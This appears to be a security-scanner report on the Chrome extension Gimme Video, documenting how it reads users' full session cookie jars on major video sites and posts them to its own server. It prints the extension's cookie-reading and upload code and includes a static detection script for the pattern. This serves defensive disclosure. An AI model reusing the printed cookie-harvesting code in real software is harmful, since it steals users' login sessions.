Am I Being Pwned?
Get started

Is Gimme Video - Video Downloader safe?

High risk

Gimme Video reads your full site cookie jar on YouTube, Instagram, Facebook, Reddit, X/Twitter or TikTok and sends it to its own server.

As soon as a tab finishes loading a video page on one of these sites, the extension's background service worker collects every cookie for that site's domain, including session/login cookies, and packages them into a cookie file. It then sends that file, along with the page URL, to the vendor's backend at api.gimme.video, without waiting for you to click download.

Gimme Videov1.5.5Chrome Web Store
78Risk
Who publishes it

Gimme Video - no other listings under this identity, 3 shared hostnames

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Gimme Video
Website
gimme.video/en/contact

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

api.gimme.video
Also called by 1 other listing: Gimme Video - Video Downloader
gimme.video
Also called by 1 other listing: Gimme Video - Video Downloader
redgifs.com
Also called by 6 other listings, including Gimme Video - Video Downloader, Redgifs Downloader for ff

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Gimme Video sends your full session cookies to its server on every video visit

CriticalunwantedCWE-522Static analysis

Opening a video page on YouTube, Instagram, Facebook, Reddit, X or TikTok makes the service worker read every cookie for that site, session cookies included, and POST them plus the page URL to the vendor's server, before you click download.

What actually happens

You did this

Opens a video permalink on YouTube, Instagram, Facebook, Reddit, X or TikTok while signed in.

The extension did this

Reads every cookie for that site and POSTs them, with the page URL, to the vendor's backend before any download click.

The code that does this

Automatic cookie read wired to every matched-site page load

Readable version

Cookie domain map + reader

src/background/service-worker.js
  // Map platform to domain for cookie reading  const PLATFORM_COOKIE_DOMAINS = {    youtube: 'youtube.com',    instagram: 'instagram.com',    facebook: 'facebook.com',    reddit: 'reddit.com',    twitter: 'x.com',    tiktok: 'tiktok.com',  };  async function getPlatformCookies(platform) {    const domain = PLATFORM_COOKIE_DOMAINS[platform];    if (!domain) return null;    try {      const cookies = await chrome.cookies.getAll({ domain });      if (!cookies || cookies.length === 0) return null;      // Convert to Netscape format (required by yt-dlp)      const lines = ['# Netscape HTTP Cookie File', '# Generated by Gimme.Video extension', ''];      for (const c of cookies) {        const secure = c.secure ? 'TRUE' : 'FALSE';        const expiry = c.expirationDate ? Math.floor(c.expirationDate) : 0;        const domain_ = c.domain.startsWith('.') ? c.domain : `.${c.domain}`;        const includeSubdomains = 'TRUE';        lines.push(`${domain_}\t${includeSubdomains}\t${c.path}\t${secure}\t${expiry}\t${c.name}\t${c.value}`);      }      return lines.join('\n');    } catch (err) {      console.log('[SW] Failed to read cookies for', platform, err.message);      return null;    }  }

Cookies read, then POSTed, inside the pre-fetch

src/background/service-worker.js
    try {      console.log('[SW] Pre-fetching:', url);      // Read user's cookies for this platform (enables downloading age-restricted content)      const userCookies = await getPlatformCookies(tabInfo.platform);      const response = await fetch(`${API_URL}/api/download`, {        method: 'POST',        headers: { 'Content-Type': 'application/json' },        body: JSON.stringify({ url, ...(userCookies ? { userCookies } : {}) }),      });

The code that does this

The read-and-send runs on every matched navigation, not on a download click

Readable version

Debounced auto-trigger on tab navigation

src/background/service-worker.js
    }    if (changeInfo.status === 'complete' && tab?.url) {      const platform = detectPlatform(tab.url);      if (platform) {        const existing = tabs.get(tabId);        if (!existing || existing.url !== tab.url) {          tabs.set(tabId, { platform, url: tab.url, fetchStatus: 'idle' });          // Debounce prefetch — 500ms delay prevents rapid-fire on Shorts/Reels          clearTimeout(prefetchTimers.get(tabId));          const timer = setTimeout(() => {            prefetchTimers.delete(tabId);            const current = tabs.get(tabId);            if (current && current.url === tab.url) {              prefetchVideoInfo(tabId, tab.url);            }

What lands in the POST body to api.gimme.video

  • Your session/login cookie
    .youtube.com TRUE / TRUE 1781234567 SID AHV8x2kQ...

    Not just an anonymous ID; this is the cookie that keeps you signed in on the site.

  • Every other cookie for the site
    .youtube.com TRUE / FALSE 1781234567 VISITOR_INFO1_LIVE k3n2f...

    The full jar goes over, not a scoped token for one video.

  • The page you were viewing
    https://www.youtube.com/watch?v=dQw4w9WgXcQ

    Tells the vendor's server exactly which video you opened, and when.

Where the cookie file goes

    • api.gimme.video

    The extension's own backend; receives the cookie file and page URL for every matched video page, before any download click.

Check if you're affected

Static scanner that flags the auto cookie-read-and-upload pattern in an unpacked extension's service worker source.

Requires
  • Node.js 18+
detect_cookie_exfil.js · js
#!/usr/bin/env node// Static detector: flags a service worker that reads chrome.cookies.getAll()// output and forwards it in a fetch()/POST body, unconditioned on user input.const fs = require('fs');const file = process.argv[2];if (!file) {  console.error('usage: node detect_cookie_exfil.js <path-to-service-worker.js>');  process.exit(1);}const src = fs.readFileSync(file, 'utf8');const cookieReadRe = /chrome\.cookies\.getAll\s*\(/g;const fetchRe = /fetch\s*\(/g;const cookieReads = [...src.matchAll(cookieReadRe)].map(m => m.index);const fetches = [...src.matchAll(fetchRe)].map(m => m.index);if (cookieReads.length === 0) {  console.log('No chrome.cookies.getAll() call found.');  process.exit(0);}console.log(`Found ${cookieReads.length} chrome.cookies.getAll() call(s).`);for (const readIdx of cookieReads) {  // Look for a fetch() call within 2000 chars after the cookie read - a  // strong signal the cookie data feeds straight into a network request.  const nearbyFetch = fetches.find(fIdx => fIdx > readIdx && fIdx - readIdx < 2000);  if (nearbyFetch !== undefined) {    const context = src.slice(readIdx, nearbyFetch + 200);    const hasClickGuard = /addEventListener\s*\(\s*['"]click['"]/.test(      src.slice(Math.max(0, readIdx - 500), readIdx),    );    console.log('---');    console.log(`Cookie read at offset ${readIdx}, fetch() at offset ${nearbyFetch} (${nearbyFetch - readIdx} chars apart).`);    console.log(hasClickGuard      ? 'A click listener appears nearby - may be gated on user action.'      : 'No click listener nearby - likely fires automatically (e.g. on navigation/tab update).');    console.log('Context:');    console.log(context);  }}
How to run it
  1. 1Run: node detect_cookie_exfil.js <path-to-service-worker.js>.
  2. 2It reports every chrome.cookies.getAll call that feeds a fetch/POST with no preceding user click.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.5.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on api.gimme.video

    https://api.gimme.video/*

  • Read and change your data on www.google-analytics.com

    https://www.google-analytics.com/*

  • Read and change your data on www.instagram.com

    https://www.instagram.com/*

  • Read and change your data on www.facebook.com

    https://www.facebook.com/*

  • Read and change your data on www.reddit.com

    https://www.reddit.com/*

  • Read and change your data on x.com

    https://x.com/*

  • Read and change your data on twitter.com

    https://twitter.com/*

  • Act on the current tab, but only after you click the extension

    activeTab

  • See the address and title of every tab you have open

    tabs

  • Start, monitor and manage your downloads

    downloads

  • Store data in your browser

    storage

  • Run its own code inside the pages you visit

    scripting

  • Read and change cookies, including the ones that keep you signed in

    cookies

Where it sends data

Destinations our analysis observed Gimme Video - Video Downloader contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.gimme.video

    Gimme Video - Video Downloader sends data to api.gimme.video. No other extension we have analyzed sends data here.

Updated 30 September 2026gomjaamlppbmhkjpeobpeeiohcdjbkbe